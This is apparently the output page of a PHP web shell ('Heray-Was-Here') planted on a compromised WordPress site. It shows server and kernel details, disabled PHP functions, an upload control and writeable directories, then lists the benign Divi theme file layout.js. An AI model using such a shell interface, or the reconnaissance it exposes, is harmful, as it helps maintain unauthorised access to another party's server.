Heray-Was-Here
Server : Apache
System : Linux h2web212 4.9.0-0.bpo.12-amd64 #1 SMP Debian 4.9.210-1+deb9u1~deb8u1 (2020-06-09) x86_64
User : uid151901 ( 151901)
PHP Version : 8.0.30
Disable Function : passthru,exec,system,popen,shell_exec,proc_open,pcntl_exec
Directory :  /home/clients/1a5fe23ce93412d9e66659e9f5732f73/web/wp-content/themes/Divi/epanel/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/clients/1a5fe23ce93412d9e66659e9f5732f73/web/wp-content/themes/Divi/epanel/js/layout.js
(function($){
	var initLayout = function() {
		var hash = window.location.hash.replace('#', '');
		var currentTab = $('ul.navigationTabs a')
							.on('click', showTab)
							.filter('a[rel=' + hash + ']');
		if (0 === currentTab.length) {
			currentTab = $('ul.navigationTabs a').first();
		}
		showTab.apply(currentTab.get(0));
		$('#colorpickerHolder').ColorPicker({flat: true});
		$('.colorpopup').ColorPicker({
			onSubmit: function(hsb, hex, rgb, el) {
				$(el).val(hex);
				$(el).ColorPickerHide();
			},
			onBeforeShow: function () {
				$(this).ColorPickerSetColor(this.value);
			}
		})
	};

	var showTab = function(e) {
		var tabIndex = $('ul.navigationTabs a')
							.removeClass('active')
							.index(this);
		$(this)
			.addClass('active')
			.trigger('blur');
		$('div.tab')
			.hide()
				.eq(tabIndex)
				.show();
	};

	EYE.register(initLayout, 'init');
})(jQuery)

Hry